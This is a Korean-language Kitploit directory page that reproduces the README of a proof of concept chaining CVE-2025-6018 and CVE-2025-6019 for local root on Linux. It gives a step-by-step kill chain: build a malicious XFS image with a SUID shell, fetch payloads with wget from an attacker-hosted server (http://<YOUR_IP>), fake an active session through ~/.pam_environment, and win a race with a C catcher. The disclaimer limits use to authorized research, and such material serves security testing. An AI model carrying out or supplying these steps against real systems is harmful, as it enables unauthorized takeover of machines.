Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6018-6019-PoC — 취약한 Linux 시스템에서 로컬 권한 상승(LPE)을 달성하기 위해 CVE-2025-6018(PAM/Polkit 활성 세션 우회) 및 CVE-2025-6019(libblockdev SUID 마운트 결함)를 연계하는 개념 증명입니다. | Kitploit
도구/GitHubGitHub/michaelventurella/cve-2025-6018-6019-poc
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubmichaelventurella/cve-2025-6018-6019-poc

CVE-2025-6018-6019-PoC

취약한 Linux 시스템에서 로컬 권한 상승(LPE)을 달성하기 위해 CVE-2025-6018(PAM/Polkit 활성 세션 우회) 및 CVE-2025-6019(libblockdev SUID 마운트 결함)를 연계하는 개념 증명입니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1727개월 전아직 검토되지 않음

CVE-2025-6018 & CVE-2025-6019: 로컬 권한 상승 PoC

취약한 Linux 시스템에서 root 액세스를 달성하기 위해 CVE-2025-6018(PAM/Polkit 활성 세션 우회) 및 CVE-2025-6019(libblockdev SUID 마운트 결함)을 연결하는 강력한 개념 증명(PoC)입니다.

면책 조항

이 도구는 교육 목적 및 승인된 보안 연구 전용입니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 사용하지 마십시오.


취약점 체인

이 익스플로잇은 일반 사용자에서 root로 권한을 상승시키기 위해 두 가지 논리적 결함을 연결합니다.

  1. CVE-2025-6018(진입점): PAM/Polkit의 잘못된 구성으로 인해 원격 SSH 세션이 Active=yes로 표시될 수 있습니다. 이 트릭은 시스템이 원격 사용자가 콘솔에 물리적으로 존재한다고 믿게 하여 udisks2와 같은 하드웨어 관리 도구에 대한 비밀번호 요구 사항을 우회합니다.
  2. CVE-2025-6019(무기): udisks2에서 사용하는 libblockdev 라이브러리가 유지 관리 작업(예: Check 또는 Resize)을 위해 파일시스템을 임시로 마운트할 때 nosuid 보안 플래그를 적용하지 못합니다.

킬 체인

  1. 준비: 정적 SUID 루트 셸을 포함하는 악성 XFS 이미지를 생성합니다.
  2. 우회: Active=yes 세션 상태를 이용하여 비밀번호 없이 이 이미지를 루프 장치로 마운트합니다.
  3. 트리거: Filesystem.Check에 D-Bus 호출을 보냅니다. 이로 인해 udisks2는 이미지를 확인하기 위해 임시로 마운트합니다. 결정적으로 이 임시 마운트에는 nosuid가 없습니다.
  4. 레이스 컨디션: 컴파일된 C 프로그램("The Sniper")이 /proc/mounts를 실시간으로 모니터링합니다. 임시 마운트가 나타나는 순간 시스템이 마운트를 해제하기 전에 SUID 페이로드를 실행합니다.

사용법

1단계: 준비 (공격자 머신)

대상 머신에는 mkfs.xfs나 gcc와 같은 도구가 없는 경우가 많으므로 페이로드를 로컬에서 생성합니다.

  1. Kali/Parrot에서 빌드 스크립트를 실행합니다:

    root@kitploit:~
    ./build_poc.sh
    
    • exploit.img(SUID 셸이 포함된 400MB XFS 이미지)를 생성합니다.
    • catcher(레이스 컨디션 승리자)를 컴파일합니다.
  2. 대상에 파일을 업로드합니다: Python 서버를 시작합니다:

    root@kitploit:~
    python3 -m http.server 80
    

    대상 머신에서(예: /tmp):

    root@kitploit:~
    wget http://<YOUR_IP>/exploit.img
    wget http://<YOUR_IP>/catcher
    chmod +x catcher
    

2단계: 익스플로잇 (대상 머신)

  1. 익스플로잇 스크립트를 다운로드합니다: 이 저장소의 exploit.sh 내용을 대상 머신에 저장합니다.

  2. 익스플로잇을 실행합니다:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    
  3. 루트 셸을 즐기세요: 스크립트는 자동으로 루프 장치를 설정하고 백그라운드 catcher를 시작한 다음 취약점을 트리거합니다. 즉시 루트 셸로 떨어지게 됩니다.


문제 해결

"루프 장치를 설정하려면 인증이 필요합니다"

스크립트가 비밀번호를 요구한다면 SSH 세션이 활성 상태가 아니라는 뜻입니다. 해결 방법:

  1. ~/.pam_environment를 생성합니다:
    root@kitploit:~
    echo "XDG_SEAT=seat0" > ~/.pam_environment
    echo "XDG_VTNR=1" >> ~/.pam_environment
    
  2. 로그아웃한 후 다시 로그인합니다.
  3. loginctl show-session $XDG_SESSION_ID | grep Active로 확인합니다. 반드시 Active=yes로 표시되어야 합니다.

"레이스 컨디션 실패 / 셸 없음"

취약점 공격 창은 단 몇 밀리초에 불과합니다.

  • 컴파일된 C catcher(build_poc.sh에 포함됨)를 사용하고 있는지 확인하세요. Bash 루프가 아닙니다.
  • 스크립트는 Resize보다 더 안정적인 Filesystem.Check 메서드를 사용합니다.

파일 목록

build_poc.sh (공격자 측)

악성 이미지 생성을 자동화하고 정적 바이너리를 컴파일합니다.

exploit.sh (대상 측)

오케스트레이터입니다. 다음을 처리합니다:

  1. 활성 세션 확인.
  2. 백그라운드에서 catcher 시작.
  3. udisksctl을 통한 루프 장치 설정.
  4. D-Bus Filesystem.Check 호출 트리거.

크레딧

  • 최초 발견: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/
도구 다운로드